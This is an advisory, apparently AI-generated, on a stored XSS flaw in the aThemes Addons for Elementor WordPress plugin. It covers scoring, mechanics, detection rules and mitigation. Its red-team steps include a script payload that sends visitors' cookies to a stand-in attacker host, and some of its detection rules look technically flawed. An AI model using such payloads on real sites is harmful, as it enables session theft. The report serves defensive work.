CVE-2024-13547

Executive Summary

CVE-2024-13547 is a Stored Cross-Site Scripting (XSS) vulnerability in the aThemes Addons for Elementor WordPress plugin, affecting all versions up to and including 1.0.12. The flaw resides in the Image Accordion widget, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The vendor (Athemes) has not released a patch, and no public exploit code or proof-of-concept is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk increases as details become public.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via the repository are affected. No supply chain compromise has been identified, but the lack of a patch means users must rely on alternative mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is common in multi-author WordPress sites. The stored XSS can affect all visitors, including administrators, leading to privilege escalation or data compromise.

Deep Dive & Mechanics

The vulnerability exists in the athemes-addons-for-elementor plugin, specifically in the Image Accordion widget. The widget allows users to create an accordion of images with associated text. The plugin fails to properly sanitize user-supplied input (e.g., image titles, captions, or URLs) before storing it in the database and later rendering it on the frontend. Additionally, output escaping is insufficient, allowing HTML and JavaScript to be injected.

When an attacker with Contributor-level access creates or edits a page using the Image Accordion widget, they can inject malicious JavaScript into fields such as the image caption or title. This script is stored in the WordPress database and executed in the browser of any user who views the page. The attack does not require user interaction beyond visiting the compromised page.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the use of functions like echo or the_title without proper escaping via esc_html() or wp_kses().

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the widget's rendering function. A typical vulnerable pattern might look like:

// Vulnerable code (hypothetical)
echo '<div class="accordion-title">' . $title . '</div>';

A patched version would escape the output:

// Patched code (hypothetical)
echo '<div class="accordion-title">' . esc_html( $title ) . '</div>';

Without a vendor patch, users must apply virtual patching or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with aThemes Addons for Elementor <= 1.0.12
• Attacker account with Contributor-level privileges or higher

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the Image Accordion widget to the page.
4. In the image caption or title field, inject a payload such as:

   <img src=x onerror=alert('XSS')>
   

   or a more sophisticated payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save and publish the page.
6. When any user (including admins) visits the page, the script executes.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual content in Image Accordion widget fields (e.g., <script> tags, event handlers).
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Review WordPress logs for suspicious page edits by Contributor-level users.

Prevention:

• Disable the aThemes Addons for Elementor plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict Contributor-level permissions where possible.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/athemes-addons-for-elementor/ (entire plugin directory)
• Database: Rows in wp_posts or wp_postmeta containing <script> tags or event handlers in fields related to the Image Accordion widget.
• Network: Outbound requests to attacker-controlled domains from the WordPress site (e.g., GET /steal?cookie=...).
• Logs: WordPress audit logs showing creation/editing of pages with the Image Accordion widget by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2024_13547_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in aThemes Addons for Elementor Image Accordion widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13547"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-13547 Stored XSS in aThemes Addons for Elementor
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in WordPress pages using the Image Accordion widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/post.php*'
        http.body: 'athemes-addons-for-elementor*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13547 Stored XSS Payload in aThemes Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"athemes-addons-for-elementor"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the aThemes Addons for Elementor plugin from the WordPress admin dashboard.
2. Virtual Patching: If a WAF is available, create a rule to block requests containing <script> tags in fields associated with the Image Accordion widget.
3. Review Content: Scan existing pages for injected scripts using the YARA rule above.

Long-Term Fix:

• Monitor the vendor's website or WordPress plugin repository for an official patch.
• Consider replacing the plugin with an alternative that is actively maintained.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.